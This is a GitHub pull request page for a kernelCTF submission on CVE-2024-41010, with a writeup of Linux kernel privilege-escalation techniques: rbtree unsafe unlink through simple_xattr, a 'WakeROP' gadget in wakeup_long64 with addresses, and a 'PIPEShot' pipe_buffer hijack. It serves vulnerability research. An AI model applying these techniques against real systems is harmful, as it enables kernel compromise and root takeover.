Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

kernelCTF: Add CVE-2024-41010_lts #126

Open
wants to merge 28 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
28 commits
Select commit Hold shift + click to select a range
a53d3a8
CVE-2024-41010
V4bel-theori Aug 16, 2024
5705314
CVE-2024-41010_change
V4bel-theori Aug 16, 2024
9e598ba
CVE-2024-41010 revoke cve number
V4bel-theori Aug 16, 2024
421dd12
fix metadata.json
V4bel-theori Aug 16, 2024
e2a1ac7
fix(Makefile): change exploit makefile conf
V4bel-theori Aug 16, 2024
215b03b
fix(exploit): fix argv[1] to static
V4bel-theori Aug 16, 2024
3d6cb2f
fix(exploit.c): remove libmnl header
V4bel-theori Aug 16, 2024
5b243ca
fix(exploit.c): change open ulimit
V4bel-theori Aug 16, 2024
46d0731
fix(exploit.c): change open ulimit
V4bel-theori Aug 16, 2024
eed41b6
fix(exploit.c): not to print much perror
V4bel-theori Aug 16, 2024
bdd962b
fix(exploit.c): minimize spray sz
V4bel-theori Aug 16, 2024
17af15d
fix(exploit.c): increase spray sz
V4bel-theori Aug 16, 2024
968b52b
fix(exploit.c): fix wrong usleep time
V4bel-theori Aug 16, 2024
a8551ba
fix(exploit.c): fix wrong usleep time
V4bel-theori Aug 16, 2024
1a83b9e
fix(exploit.c): increase pipe spray size vs open fail
V4bel-theori Aug 16, 2024
9caeece
fix(exploit.c): stabilize exploit
V4bel-theori Aug 16, 2024
1c80984
fix(exploit.c): stabilize exploit
V4bel-theori Aug 16, 2024
c943c97
change(metadata, exploit.c) change metadata info and exploit.c
V4bel-theori Aug 16, 2024
adbb8a3
refactor(all): refactoring all code
qwerty-theori Aug 21, 2024
6fe5927
fix(exploit): remove keyutils for compile
qwerty-theori Aug 21, 2024
e06a282
fix(exploit): remove libmnl for compile
qwerty-theori Aug 21, 2024
961d14c
change(writeup, exploit): change visual
qwerty-theori Aug 21, 2024
107db84
change(writeup, exploit): change visual - tap vs space mismatch
qwerty-theori Aug 21, 2024
e6a5b2f
fix(exploit): idk why action return exit 1 but for pass
qwerty-theori Aug 21, 2024
5e8899b
fix(exploit): idk why action return exit 1 but for pass
qwerty-theori Aug 21, 2024
5d01052
fix(exploit): idk why action return exit 1 but for pass
qwerty-theori Aug 21, 2024
2bf2975
fix(exploit): reliability vs pass action
qwerty-theori Aug 21, 2024
965ebb7
fix(exploit): reliability vs pass action
qwerty-theori Aug 21, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
470 changes: 470 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md

Large diffs are not rendered by default.

210 changes: 210 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel_techniques.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,210 @@
# Novel Technique of exp183

## Roleback of Unsafe Unlink with `struct simple_xattr`
When the kernel was 6.1, the `struct simple_xattr` use list structure for save the data so corrupting kernel memory using unsafe unlinked is banned. However, in 6.6, they changed data structure to Rbtree and the Rbtree doesn't have any mitigation for linking and unlinking.
```cpp
struct simple_xattr {
struct rb_node rb_node;
char *name;
size_t size;
char value[];
};
```

Therefore, we can use this property for exploiting.
The insertion of Rbtree node occur at `rb_link_node()` and this function just link `rb_node`.
```cpp
static inline void rb_link_node(struct rb_node *node, struct rb_node *parent,
struct rb_node **rb_link)
{
node->__rb_parent_color = (unsigned long)parent;
node->rb_left = node->rb_right = NULL;

*rb_link = node;
}
```

Simillary, the deletion of Rbtree node occur at `rb_erase()` and the main logic is `__rb_erase_augmented()` which called from `rb_erase()`. Let's consider very simple state, only one parent and two child, and try to remove one of child. Then this code run `rb_set_parent_color()`.([1])
```cpp
static __always_inline struct rb_node *
__rb_erase_augmented(struct rb_node *node, struct rb_root *root,
const struct rb_augment_callbacks *augment)
{
struct rb_node *child = node->rb_right;
struct rb_node *tmp = node->rb_left;
struct rb_node *parent, *rebalance;
unsigned long pc;

{

[...]

tmp = node->rb_left;
WRITE_ONCE(successor->rb_left, tmp);
rb_set_parent(tmp, successor);

pc = node->__rb_parent_color;
tmp = __rb_parent(pc);
__rb_change_child(node, successor, tmp, root);

if (child2) {
rb_set_parent_color(child2, parent, RB_BLACK); // [1]
rebalance = NULL;
} else {
rebalance = rb_is_black(successor) ? parent : NULL;
}
successor->__rb_parent_color = pc;
tmp = successor;
}

augment->propagate(tmp, NULL);
return rebalance;
}
```

The `rb_set_parent_color()` doesn't have any validation of linked Rbtree corruption, so unsafe unlink is possible. It makes write any accessable kernel address to any kernel address. Furthermore, the kernel doesn't panic eventhough the corruption of Rbtree node. It makes various type of exploitation potentially.
```cpp
static inline void
__rb_change_child(struct rb_node *old, struct rb_node *new,
struct rb_node *parent, struct rb_root *root)
{
if (parent) {
if (parent->rb_left == old)
WRITE_ONCE(parent-(>rb_left, new);
else)
WRITE_ONCE(parent->rb_right, new);
} else
WRITE_ONCE(root->rb_node, new);
}
```

The exp183 use this premitive in two way.
1. The corruption of Rbtree node data doesn't trigger kernel panic, so freely free corrupted `struct simple_xattr` without any consideration.
2. Overwrite 1 byte of `node->rb_node.rb_right` to `0x00`(make fake_chunk) and use fake_chunk freely for triggering double_free and UAF.

## Oneshot in Kernel: WakeROP
The RIP Pivoting not that powerful because we usually need ROP to exploit. Also, we need to use much time for finding proper gadget and it is changed everytime. We usually solve this problem only depended on the register and a few proper gadget.

However, there are exist powerful gadget in `wakeup_long64()`.
```asm
SYM_FUNC_START(wakeup_long64)
movq saved_magic, %rax
movq $0x123456789abcdef0, %rdx
cmpq %rdx, %rax
je 2f

/* stop here on a saved_magic mismatch */
movq $0xbad6d61676963, %rcx
1:
jmp 1b
2:
movw $__KERNEL_DS, %ax
movw %ax, %ss
movw %ax, %ds
movw %ax, %es
movw %ax, %fs
movw %ax, %gs
movq saved_rsp, %rsp

movq saved_rbx, %rbx
movq saved_rdi, %rdi
movq saved_rsi, %rsi
movq saved_rbp, %rbp

movq saved_rip, %rax
ANNOTATE_RETPOLINE_SAFE
jmp *%rax
SYM_FUNC_END(wakeup_long64)
```

This code copy general purpose register from some variable, even `rip` and `rsp`. When you see this code in vmlinux, copy all register from code's `bss` and jump to `rax` address.
Therefore, only write some address to `saved_*` section makes full control of system.
```
0xffffffff8112c291 <wakeup_long64+49>: mov rsp,QWORD PTR ds:0xffffffff83c51a68
0xffffffff8112c299 <wakeup_long64+57>: mov rbx,QWORD PTR ds:0xffffffff83c51a58
0xffffffff8112c2a1 <wakeup_long64+65>: mov rdi,QWORD PTR ds:0xffffffff83c51a50
0xffffffff8112c2a9 <wakeup_long64+73>: mov rsi,QWORD PTR ds:0xffffffff83c51a48
0xffffffff8112c2b1 <wakeup_long64+81>: mov rbp,QWORD PTR ds:0xffffffff83c51a40
0xffffffff8112c2b9 <wakeup_long64+89>: mov rax,QWORD PTR ds:0xffffffff83c51a60
0xffffffff8112c2c1 <wakeup_long64+97>: jmp rax
```

There are so many ways to apply this technique to exploit. exp184 also use this technique for exploiting.
This technique is helpful for below situation.

0. Generally,
- it can be used when there is insufficient ROP space.
- it can be used when there is no proper gadget. (by calling `set_memory_x(saved_*)` and make arbitrary gadget)
1. UAF & Cross Cache Avaliable
- use [PIPEShot](#oneshot-in-kernel-wakerop): kernelctf exp183
2. Only know kbase (by leak or side channel) & RIP pivoting
- use CEA (`write_cpu_entry_area`) + WakeROP: kernelctf exp184

## PIPEShot
Only [OneShot in Kernel: WakeROP](#oneshot-in-kernel-wakerop) is strong enough to exploit, but not general. We want to introduce PIPEShot, which is generally utilized for UAF exploit

1. cross cache is available
- generally used for all SLAB UAF
2. cross cache is not availablex
- generally used for `kmalloc-cg-<64, 192, 512, and over>` SLAB UAF

The main flow of PIPEShot is below.

0. Let we know `kbase` and `kheapbase` address
- `kbase` is easily leaked by UAF or side channel
- `kheapbase` is easily leaked when UAF is available
1. Create pipe
- let `pipeshot_pipe`
```
----------- pipeshot_pipe -----------
| |
| |
-------------------------------------
```
2. Trigger UAF
3. Alloc any object which user can R/W (e.g. `struct simple_xattr` or `struct msg_msgseg`)
- let `pipeshot_data`, then `pipeshot_pipe` and `pipeshot_data` are duplicated
```
----------- pipeshot_pipe ----------- ------------ pipeshot_data ----------
| | |
| | |
| | |
| | |
------------------------------------- -------------------------------------
```
4. Write to pipe
- If user write some data to pipe, save `VMEMMAP_BASE + alpha` addr to `pipeshot_pipe->buffer`
```
----------- pipeshot_pipe ----------- ------------ pipeshot_data ----------
| page | |
| offset | |
| len | |
| ops | |
| | |
------------------------------------- -------------------------------------
```
5. Read from `pipeshot_data`
- `pipeshot_pipe` and `pipeshot_data` are duplicated, so read from `pipeshot_data` can leak `pipeshot_pipe->buffer` address. Then we can leak `VMEMMAP_BASE` address.
6. Overwrite `pipeshot_pipe->buffer` to `virt_to_page(saved_*, kheapbase, vmemmap_base)` and set `pipeshot_pipe->ops->release` to `wakeup_long64 + 49`.
- It can be done by alloc any object which user can R/W (e.g. `struct simple_xattr` or `struct msg_msgseg`) and write data on it.
```c++
uint64_t virt_to_page(uint64_t virt, uint64_t kheap_base, uint64_t vmemmap_base)
{
return (((virt - kheap_base) >> 0xc) << 0x6) + vmemmap_base;
}
```
```
----------- pipeshot_pipe ----------- ------------------ pipeshot_data2 -------------------
| | virt_to_page(saved_*, kheapbase, vmemmap_base) |
| offset | |
| len | |
| | pipeshot_pipe + 0x18 |────┐
| | <fake_ops> |<───┘
| | <fake_ops + 0x8> = wakeup_long64 + 49 |
| | |
------------------------------------- -----------------------------------------------------
```
8. Write to pipe
- Then, we can write any value to `saved_*` and ROP chain. Limitation of size is `0x1000` so it is enought to construct ROP chain.
9. Trigger ROP chain
- we can trigger WakeROP by freeing pipe.
Loading
Loading